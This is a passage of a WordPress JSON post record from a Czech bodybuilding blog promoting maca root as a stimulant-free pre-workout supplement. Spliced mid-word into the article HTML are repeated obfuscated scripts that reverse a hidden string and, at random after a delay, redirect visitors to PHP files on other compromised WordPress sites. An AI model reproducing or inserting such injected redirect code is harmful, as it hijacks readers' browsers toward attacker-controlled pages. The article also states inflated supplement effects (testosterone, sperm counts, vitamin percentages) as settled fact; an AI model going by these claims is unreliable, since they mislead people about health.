srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/web-maca1-300x300.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/web-maca1-150x150.jpg 150w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/web-maca1-768x768.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/web-maca1-75x75.jpg 75w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/web-maca1.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Kvalitn\u011bj\u0161\u00ed tr\u00e9nink i bez stimulant\u016f<\/strong><\/p>\n<p>Ne ka\u017ed\u00e9mu vyhovuj\u00ed p\u0159etr\u00e9ninkov\u00e9 produkty s\u00a0obsahem stimulant\u016f. Hlavn\u011b z\u00a0dlouhodob\u00e9ho hlediska mohou n\u011bkter\u00fdm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm p\u0159ivodit pot\u00ed\u017ee. N\u011bkter\u00e9 l\u00e1tky jsou p\u0159i pravideln\u00e9m u\u017e\u00edv\u00e1n\u00ed vysok\u00fdch d\u00e1vek spojov\u00e1ny s\u00a0po\u0161kozen\u00edm jater, jin\u00e9 zase zvy\u0161uj\u00ed riziko srde\u010dn\u00edch onemocn\u011bn\u00ed. I pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u00e1v\u00e1 smysl vyzkou\u0161et p\u0159\u00edrodn\u00ed p\u0159edtr\u00e9ninkov\u00fd suplement bez obsahu stimulant\u016f.<\/p>\n<p><strong>Lep\u0161\u00ed sp\u00e1nek<\/strong><\/p>\n<p>Na jednu stranu v\u00e1m maca p\u0159inese energii pot\u0159ebnou pro v\u00fdkon, na druhou stranu ale nenaru\u0161\u00ed sp\u00e1nek. D\u00edky adap<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>togenn\u00edm \u00fa\u010dink\u016fm zvl\u00e1dne vytvo\u0159it podm\u00ednky pro efektivn\u011bj\u0161\u00ed tr\u00e9nink a vz\u00e1p\u011bt\u00ed umo\u017en\u00ed fyzick\u00fd i ment\u00e1ln\u00ed odpo\u010dinek po cvi\u010den\u00ed.<\/p>\n<p><strong>V\u00fdkonn\u011bj\u0161\u00ed metabolismus<\/strong><\/p>\n<p>P\u0159i dlouhodob\u00e9m u\u017e\u00edv\u00e1n\u00ed maca podporuje metabolismus tuk\u016f a gluk\u00f3zy, podle v\u0161eho umo\u017en\u00ed t\u011blu nav\u00fd\u0161it glykogenov\u00e9 rezervy, co\u017e se samoz\u0159ejm\u011b odraz\u00ed na celkov\u00e9 fyzick\u00e9 kondici.<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed<\/strong><\/p>\n<p>V\u011bt\u0161inou se doporu\u010duje u\u017e\u00edvat d\u00e1vku r\u00e1no s\u00a0c\u00edlem harmonizovat t\u011blesn\u00e9 pochody i psychiku. Pokud ov\u0161em chcete ovlivnit v\u00fdkonnost, uva\u017eujte o dal\u0161\u00ed d\u00e1vce 1-2 hodiny p\u0159ed tr\u00e9ninkem. Obvykle se pro dosa\u017een\u00ed optim\u00e1ln\u00edch \u00fa\u010dink\u016f doporu\u010duje dlouhodob\u00e9 u\u017e\u00edv\u00e1n\u00ed (6-12 t\u00fddn\u016f). V\u00a0r\u00e1mci studie proveden\u00e9 s\u00a0cyklisty bylo prok\u00e1z\u00e1no, \u017ee jejich v\u00fdkonnost i schopnost regenerace se zlep\u0161ily ji\u017e po 14denn\u00edm u\u017e\u00edv\u00e1n\u00ed.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u010c\u00edm je maca zaj\u00edmav\u00e1?<\/strong><\/p>\n<p>* P\u016fvodn\u011b ji u\u017e\u00edvali Inkov\u00e9. Jejich bojovn\u00edk\u016fm pom\u00e1hala zvl\u00e1dat n\u00e1ro\u010dn\u00e9 fyzick\u00e9 v\u00fdkony ve vysok\u00fdch nadmo\u0159sk\u00fdch v\u00fd\u0161k\u00e1ch, kde koncentrace kysl\u00edku dosahuje pouze 40 % v\u00a0porovn\u00e1n\u00ed s\u00a0\u00farovn\u00ed mo\u0159e.<\/p>\n<p>* V\u00a090. letech ji NASA za\u0159adila coby slo\u017eku stravy astronaut\u016f.<\/p>\n<p>* 100 g su\u0161en\u00e9ho ko\u0159enu obsahuje 475 % denn\u00ed doporu\u010den\u00e9 d\u00e1vky (DDD) vitaminu C, 82 % DDD \u017eeleza a 300 % DDD m\u011bdi.<\/p>\n<p>* Maca podporuje plodnost mu\u017e\u016f, d\u00edky proveden\u00e9mu v\u00fdzkumu v\u00edme, \u017ee se u sledovan\u00fdch jedinc\u016f zv\u00fd\u0161il celkov\u00fd po\u010det spermi\u00ed o 84 % a jejich pohyblivost zlep\u0161ila o neuv\u011b\u0159iteln\u00fdch 109 %.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cesta k\u00a0super tr\u00e9ninkov\u00fdm v\u00fdsledk\u016fm se neobejde bez obrovsk\u00e9ho \u00fasil\u00ed, tvrd\u00e9 discipl\u00edny a v\u00a0neposledn\u00ed \u0159ad\u011b tak\u00e9 vy\u017eaduje promy\u0161len\u00fd p\u0159\u00edstup. Pokud m\u00e1 t\u011blo dlouhodob\u011b reagovat n\u00e1r\u016fstem hmoty, s\u00edly \u010di v\u00fdkonnosti, pot\u0159ebuje dost\u00e1vat st\u00e1le nov\u00e9 podn\u011bty, na kter\u00e9 se doposud neadaptovalo. A tento postoj se v\u00e1m vyplat\u00ed i v\u00a0ot\u00e1zk\u00e1ch suplementace. Vsa\u010fte tedy na m\u00e9n\u011b tradi\u010dn\u00ed p\u0159\u00edstupy. Trendem posledn\u00ed doby jsou tzv. p\u0159edtr\u00e9ninkovky \u2013 produkty obsahuj\u00edc\u00ed celou \u0159adu ingredienc\u00ed. Jejich c\u00edlem je nav\u00fd\u0161it hladinu energie, podpo\u0159it koncentraci a celkov\u011b nabudit t\u011blo k\u00a0tomu, aby v\u00a0tr\u00e9ninku podalo co nejlep\u0161\u00ed v\u00fdkon. Jestli chcete v\u00a0r\u00e1mci volby p\u0159etr\u00e9ninkov\u00e9ho suplementu s\u00e1hnou po n\u011b\u010dem nov\u00e9m, ale p\u0159esto vyzkou\u0161en\u00e9m a osv\u011bd\u010den\u00e9m, nab\u00edz\u00ed se v\u00e1m MACA. Ko\u0159en peru\u00e1nsk\u00e9 rostliny maca se dnes \u0159ad\u00ed mezi tzv. superpotraviny a pro sv\u00e9 l\u00e9\u010div\u00e9 a energizuj\u00edc\u00ed \u00fa\u010dinky je pou\u017e\u00edv\u00e1n ji\u017e zhruba \u0161est tis\u00edc let. M\u00e1 zcela unik\u00e1tn\u00ed schopnost harmonizovat t\u011blesn\u00e9 funkce. Z\u00a0odborn\u00e9ho hlediska maca pat\u0159\u00ed mezi adaptogeny, tedy produkty rostlinn\u00e9ho p\u016fvody, kter\u00e9 v\u00a0t\u011ble navozuj\u00ed rovnov\u00e1hu \u2013 navy\u0161uj\u00ed hladinu energie, stejn\u011b jako m\u00edrn\u00ed stres podle toho, co je zrovna t\u0159eba. Jak\u00fdm zp\u016fsobem maca zkvalitn\u00ed v\u00e1\u0161 tr\u00e9nink? Obsahuje kvalitn\u00ed aminokyseliny a fytonutrienty. Maca je zdrojem 18 z\u00a020 aminokyselin pot\u0159ebn\u00fdch pro fungov\u00e1n\u00ed lidsk\u00e9ho t\u011bla. A pr\u00e1v\u011b aminokyseliny j\u00ed umo\u017en\u00ed nejenom zv\u00fd\u0161it fyzickou v\u00fdkonnost, ale tak\u00e9 n\u00e1sledn\u011b podpo\u0159it regeneraci a r\u016fst svalov\u00e9 hmoty. D\u00edky synergick\u00fdm \u00fa\u010dink\u016fm tzv. fytonutrient\u016f (l\u00e1tek rostlinn\u00e9ho p\u016fvodu) m\u00e1 siln\u00e9 antioxida\u010dn\u00ed \u00fa\u010dinky, tak\u017ee sportovc\u016fm pom\u00e1h\u00e1 v\u00a0boji se \u0161kodliv\u00fdmi\u00a0voln\u00fdmi radik\u00e1ly, kter\u00e9 v\u00a0t\u011ble vznikaj\u00ed p\u0159i vy\u010derp\u00e1vaj\u00edc\u00edm tr\u00e9ninku. Vliv na \u010dinnost \u0161t\u00edtn\u00e9 \u017el\u00e1zy O \u0161t\u00edtn\u00e9 \u017el\u00e1ze v\u00edme, \u017ee naprosto z\u00e1sadn\u00edm zp\u016fsobem ovliv\u0148uje hormon\u00e1ln\u00ed funkce t\u011bla a \u010dinnost metabolismu. Pokud v\u00e1m maca pom\u016f\u017ee optimalizovat jej\u00ed funkce, m\u016f\u017eete po\u010d\u00edtat s\u00a0vytvo\u0159en\u00edm velmi dobr\u00fdch podm\u00ednek pro rozvoj fyzick\u00e9 v\u00fdkonnosti. Podpora vylu\u010dov\u00e1n\u00ed testosteronu Maca byla historicky vyu\u017e\u00edv\u00e1na pro zv\u00fd\u0161en\u00ed hladiny energie a libida, za tyto \u00fa\u010dinky vd\u011b\u010d\u00ed schopnosti nav\u00fd\u0161it hladinu testosteronu a sou\u010dasn\u011b redukovat nadbyte\u010dn\u00fd estrogen. To silov\u00ed sportovci bezpochyby ocen\u00ed, proto\u017ee se t\u00edm pro n\u011b zlep\u0161uj\u00ed vyhl\u00eddky na n\u00e1r\u016fst svalov\u00e9 hmoty i s\u00edly, lep\u0161\u00ed regeneraci po v\u00fdkonu \u010di udr\u017een\u00ed st\u00e1vaj\u00edc\u00ed svalov\u00e9 hmoty. Kvalitn\u011bj\u0161\u00ed tr\u00e9nink i bez stimulant\u016f Ne ka\u017ed\u00e9mu vyhovuj\u00ed p\u0159etr\u00e9ninkov\u00e9 produkty s\u00a0obsahem stimulant\u016f. Hlavn\u011b z\u00a0dlouhodob\u00e9ho hlediska mohou n\u011bkter\u00fdm sportovc\u016fm p\u0159ivodit pot\u00ed\u017ee. N\u011bkter\u00e9 l\u00e1tky jsou p\u0159i pravideln\u00e9m u\u017e\u00edv\u00e1n\u00ed vysok\u00fdch d\u00e1vek spojov\u00e1ny s\u00a0po\u0161kozen\u00edm jater, jin\u00e9 zase zvy\u0161uj\u00ed riziko srde\u010dn\u00edch onemocn\u011bn\u00ed. I proto d\u00e1v\u00e1 smysl vyzkou\u0161et p\u0159\u00edrodn\u00ed p\u0159edtr\u00e9ninkov\u00fd suplement bez obsahu stimulant\u016f. Lep\u0161\u00ed sp\u00e1nek Na jednu stranu v\u00e1m maca p\u0159inese energii pot\u0159ebnou pro v\u00fdkon, na druhou stranu ale nenaru\u0161\u00ed sp\u00e1nek. D\u00edky adaptogenn\u00edm \u00fa\u010dink\u016fm zvl\u00e1dne vytvo\u0159it podm\u00ednky pro efektivn\u011bj\u0161\u00ed tr\u00e9nink a vz\u00e1p\u011bt\u00ed umo\u017en\u00ed fyzick\u00fd i ment\u00e1ln\u00ed odpo\u010dinek po cvi\u010den\u00ed. V\u00fdkonn\u011bj\u0161\u00ed metabolismus P\u0159i dlouhodob\u00e9m u\u017e\u00edv\u00e1n\u00ed maca podporuje metabolismus tuk\u016f a gluk\u00f3zy, podle v\u0161eho umo\u017en\u00ed t\u011blu nav\u00fd\u0161it glykogenov\u00e9 rezervy, co\u017e se samoz\u0159ejm\u011b odraz\u00ed na celkov\u00e9 fyzick\u00e9 kondici. D\u00e1vkov\u00e1n\u00ed V\u011bt\u0161inou se doporu\u010duje u\u017e\u00edvat d\u00e1vku r\u00e1no s\u00a0c\u00edlem harmonizovat t\u011blesn\u00e9 pochody i psychiku. Pokud ov\u0161em chcete ovlivnit v\u00fdkonnost, uva\u017eujte o dal\u0161\u00ed d\u00e1vce 1-2 hodiny p\u0159ed tr\u00e9ninkem. Obvykle se pro dosa\u017een\u00ed optim\u00e1ln\u00edch \u00fa\u010dink\u016f doporu\u010duje dlouhodob\u00e9 u\u017e\u00edv\u00e1n\u00ed (6-12 t\u00fddn\u016f). V\u00a0r\u00e1mci studie proveden\u00e9 s\u00a0cyklisty bylo prok\u00e1z\u00e1no, \u017ee jejich v\u00fdkonnost i schopnost regenerace se zlep\u0161ily ji\u017e po 14denn\u00edm u\u017e\u00edv\u00e1n\u00ed. &nbsp; \u010c\u00edm je maca zaj\u00edmav\u00e1? * P\u016fvodn\u011b ji u\u017e\u00edvali Inkov\u00e9. Jejich bojovn\u00edk\u016fm pom\u00e1hala zvl\u00e1dat n\u00e1ro\u010dn\u00e9 fyzick\u00e9 v\u00fdkony ve vysok\u00fdch nadmo\u0159sk\u00fdch v\u00fd\u0161k\u00e1ch, kde koncentrace kysl\u00edku dosahuje pouze 40 % v\u00a0porovn\u00e1n\u00ed s\u00a0\u00farovn\u00ed mo\u0159e. * V\u00a090. letech ji NASA za\u0159adila coby slo\u017eku stravy astronaut\u016f. * 100 g su\u0161en\u00e9ho ko\u0159enu obsahuje 475 % denn\u00ed doporu\u010den\u00e9 d\u00e1vky (DDD) vitaminu C, 82 % DDD \u017eeleza a 300 % DDD m\u011bdi. * Maca podporuje plodnost mu\u017e\u016f, d\u00edky proveden\u00e9mu v\u00fdzkumu v\u00edme, \u017ee se u sledovan\u00fdch jedinc\u016f zv\u00fd\u0161il celkov\u00fd po\u010det spermi\u00ed o 84 % a jejich pohyblivost zlep\u0161ila o neuv\u011b\u0159iteln\u00fdch 109 %. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":585,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-584","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=584"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/584\/revisions"}],"predecessor-version":[{"id":587,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/584\/revisions\/587"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/585"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}